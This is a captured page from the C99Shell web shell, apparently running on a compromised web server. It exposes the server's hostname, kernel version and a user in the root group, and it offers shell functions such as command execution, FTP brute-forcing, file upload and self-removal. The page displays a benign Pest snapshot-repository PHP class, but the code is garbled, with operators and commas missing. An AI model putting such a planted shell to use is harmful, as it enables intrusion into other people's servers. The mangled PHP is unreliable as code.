!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/Repositories/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SnapshotRepository.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Repositories;

use 
Pest\Exceptions\ShouldNotHappen;
use 
Pest\TestSuite;

/**
 * @internal
 */
final class SnapshotRepository
{
    
/** @var array<string, int> */
    
private static array $expectationsCounter = [];

    
/**
     * Creates a snapshot repository instance.
     */
    
public function __construct(
        readonly private 
string $testsPath,
        readonly private 
string $snapshotsPath,
    ) {}

    
/**
     * Checks if the snapshot exists.
     */
    
public function has(): bool
    
{
        return 
file_exists($this->getSnapshotFilename());
    }

    
/**
     * Gets the snapshot.
     *
     * @return array{0: string, 1: string}
     *
     * @throws ShouldNotHappen
     */
    
public function get(): array
    {
        
$contents file_get_contents($snapshotFilename $this->getSnapshotFilename());

        if (
$contents === false) {
            throw 
ShouldNotHappen::fromMessage('Snapshot file could not be read.');
        }

        
$snapshot str_replace(dirname($this->testsPath).'/'''$snapshotFilename);

        return [
$snapshot$contents];
    }

    
/**
     * Saves the given snapshot for the given test case.
     */
    
public function save(string $snapshot): string
    
{
        
$snapshotFilename $this->getSnapshotFilename();

        if (! 
file_exists(dirname($snapshotFilename))) {
            
mkdir(dirname($snapshotFilename), 0755true);
        }

        
file_put_contents($snapshotFilename$snapshot);

        return 
str_replace(dirname($this->testsPath).'/'''$snapshotFilename);
    }

    
/**
     * Flushes the snapshots.
     */
    
public function flush(): void
    
{
        
$absoluteSnapshotsPath $this->testsPath.'/'.$this->snapshotsPath;

        
$deleteDirectory = function (string $path) use (&$deleteDirectory): void {
            if (
file_exists($path)) {
                
$scannedDir scandir($path);
                
assert(is_array($scannedDir));

                
$files array_diff($scannedDir, ['.''..']);

                foreach (
$files as $file) {
                    if (
is_dir($path.'/'.$file)) {
                        
$deleteDirectory($path.'/'.$file);
                    } else {
                        
unlink($path.'/'.$file);
                    }
                }

                
rmdir($path);
            }
        };

        if (
file_exists($absoluteSnapshotsPath)) {
            
$deleteDirectory($absoluteSnapshotsPath);
        }
    }

    
/**
     * Gets the snapshot's "filename".
     */
    
private function getSnapshotFilename(): string
    
{
        
$relativePath str_replace($this->testsPath''TestSuite::getInstance()->getFilename());

        
// remove extension from filename
        
$relativePath substr($relativePath0, (int) strrpos($relativePath'.'));

        
$description TestSuite::getInstance()->getDescription();

        if (
$this->getCurrentSnapshotCounter() > 1) {
            
$description .= '__'.$this->getCurrentSnapshotCounter();
        }

        return 
sprintf('%s/%s.snap'$this->testsPath.'/'.$this->snapshotsPath.$relativePath$description);
    }

    private function 
getCurrentSnapshotKey(): string
    
{
        return 
TestSuite::getInstance()->getFilename().'###'.TestSuite::getInstance()->getDescription();
    }

    private function 
getCurrentSnapshotCounter(): int
    
{
        return 
self::$expectationsCounter[$this->getCurrentSnapshotKey()] ?? 0;
    }

    public function 
startNewExpectation(): void
    
{
        
$key $this->getCurrentSnapshotKey();

        if (! isset(
self::$expectationsCounter[$key])) {
            
self::$expectationsCounter[$key] = 0;
        }

        
self::$expectationsCounter[$key]++;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--